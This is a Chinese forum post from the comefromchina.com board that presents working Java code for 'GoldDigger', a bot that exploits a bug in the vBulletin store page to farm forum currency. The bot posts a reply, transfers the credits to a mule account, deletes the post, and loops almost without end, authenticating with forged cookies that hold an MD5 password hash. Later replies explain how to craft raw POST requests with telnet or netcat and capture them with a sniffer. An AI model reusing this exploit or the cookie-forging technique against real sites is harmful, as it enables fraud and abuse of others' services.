[原]CFC刷钱机code演示[*已经被Riven修复]

苦逼热狗

路边通讯社社长
VIP
注册
2002-10-12
消息
47,114
荣誉分数
2,376
声望点数
393
只是演示而已,bug已经被Riven修复了
而且是贼快的那种
代码:
import java.io.*;
import java.net.*;
import java.awt.*;
import java.util.*;
import java.util.regex.Pattern;

public class GoldDigger extends Thread{

	private String userCookie,id;

  	public GoldDigger() {
		userCookie = "";
		id = "";
	}
	
  	public GoldDigger(String cookie) {
		userCookie = cookie;
		id = "";
	}
	public void run() { 
	Date aDate = new Date();
	String replyStr = "&action=postreply&threadid=171636&parseurl=yes&signature=yes&message=这帖子不顶,对不起我自己";
	String storeStr = "action=donatechanged&donateusername=goLdMule&storeid=5&useridcool=3819&donatemoney=5&submit=ok";
	
	byte[] bytes = replyStr.getBytes();
	System.out.println("\tStart new post");
    try {
    	URL u = new URL("http://www.comefromchina.com/newbbs/newreply.php");
		HttpURLConnection uc = (HttpURLConnection) u.openConnection();
		uc.setDoOutput(true);
		uc.setDoInput(true);
		uc.setRequestMethod("POST");
		uc.setRequestProperty("Cookie", String.valueOf(userCookie));
		uc.setRequestProperty("Content-length", String.valueOf(bytes.length));
		
		OutputStream out = uc.getOutputStream();
		out.write(bytes);
		out.flush();
		
		InputStream i = uc.getInputStream();
		InputStreamReader isr = new InputStreamReader(i);
		BufferedReader br = new BufferedReader(isr);

		String inputLine, outStr;
		outStr = "";
		while ((inputLine = br.readLine()) != null) {	
		    	 outStr += inputLine;
		}
		//regular expression to parser out postid number
	         Pattern p = Pattern.compile("postid=\\d");
	         String[] strs = p.split(outStr);
         
		 p = Pattern.compile("#post\\d");
	         String[] abc = p.split(strs[1]);
	         id = abc[0];

		System.out.println("\tParser out postid = 2" + id);
		outStr = "";
		out.close();
		uc.disconnect();
		} catch (IOException e) {
		}
	try{
	      	Thread.sleep(500); 
	   } catch (Exception e){
	}
	//Store
	System.out.println("\tStart transfer money to mule");
	this.POST("http://www.comefromchina.com/newbbs/store.php", storeStr);

	//Delete
	System.out.println("\tStart remove the post");
	String delStr = "s=&postid=2" + id + "&action=deletepost&submit=go&deletepost=yes";

	this.POST("http://www.comefromchina.com/newbbs/editpost.php", delStr);


}	
    public void POST(String url, String postDATA){

      byte[] bytes = postDATA.getBytes();
      try {
    	URL u = new URL(url);
		HttpURLConnection uc = (HttpURLConnection) u.openConnection();
		uc.setDoOutput(true);
		uc.setDoInput(true);
		uc.setRequestMethod("POST");
		uc.setRequestProperty("Cookie", String.valueOf(userCookie));
		uc.setRequestProperty("Content-length", String.valueOf(bytes.length));
		
		OutputStream out = uc.getOutputStream();
		out.write(bytes);
		out.flush();
		
		InputStream i = uc.getInputStream();
		InputStreamReader isr = new InputStreamReader(i);
		BufferedReader br = new BufferedReader(isr);
		
		out.close();
		uc.disconnect();
		} catch (IOException e) {
	}
	try{
	      	Thread.sleep(500); 
	   } catch (Exception e){
	}
    }
    public static void main(String[] args) {

        String cookie = "bbuserid=你的刷钱机器人id; bbpassword=MD5加密的密码GOES HERE";
        System.out.println("---------------- Gold Digger -----------------");
        System.out.println("---------------- [url]www.inod.net[/url] -----------------");
	for (int i=0;i<999999;i++){
	      System.out.println("=====no."+i+" : Gold Earned: " + (i+1)*5 +"=====");
	      new GoldDigger(cookie).start();
	      try{
	      	Thread.sleep(33000); 
	      	} catch (Exception e){
	      	}
		}
    }
}
 
原理很简单

发帖子
转移钱[bug:store.php没有收费,Riven刚知道,hahahaha]
然后删帖子

不足之处,没有去悄悄话里头parser privatemsg[id]
然后删除,导致最后删除悄悄话的时候,都是几千几千的删,很累
 
没经过测试我是不会发出来的
不懂得东西我也不会去多讨论

如果您对HTTP协议有不了解的地方,可以看看这个RFC, 没有坏处

Hypertext Transfer Protocol -- HTTP/1.1[RFC]
http://www.comefromchina.com/newbbs/showthread.php?s=&threadid=165792

在POST前一般都需要一个GET先把那个网页调出来才行
这个是您对HTTP协议的一个误解,POST,GET是2个不同的method, 也就是说它们是可以单独存在的
不过你想要post正确的request的话,需要先用GET来得到form的内容
我构造的这个你可以通过sniffer或者其他什么程序来截取
当然了,如果你不知道什么地方有sniffer的话,我可以推荐你一个,WinSock Expert(WSE)

另外cookie好像应该是从服务器那里取得而不是客户端设的。
这个就是您对vBulletin程序得不够了解了, 代码是PHP+MYSQL写的
所有人登陆论坛只需要的事你的userid跟password
password是经过md5加密的,不过任何md5 encrypted password都是unique的,也就意味着,encrypt过的东西是他就是他,服务器上头的跟我们构造的不会不同

如果你需要免费的vBulletin,可以到这里http://down.vv66.com/
当然付费的话,你可以到http://www.vBulletin.org/

简单就说这些吧,如果你还有什么不懂的可以去http://www.google.com查查
要是愿意我培训你,可以跟我email联系,收费低廉
 
关于POST的测试
您也可以在本地通过telnet来测试一下

Start->Run
输入cmd

telnet DOMAIN 80
POST URL HTTP/1.0
Host: HOST
Accept: */*
Cookie: COOKIE
Content-Length: 要发送的内容的长度

CONTENT

或者你可以直接用netcat(nc)
先把你要post的内容放入1.txt
然后在console下输入nc -vv domain 80<1.txt

这样就也可以达到需要的效果
 
后退
顶部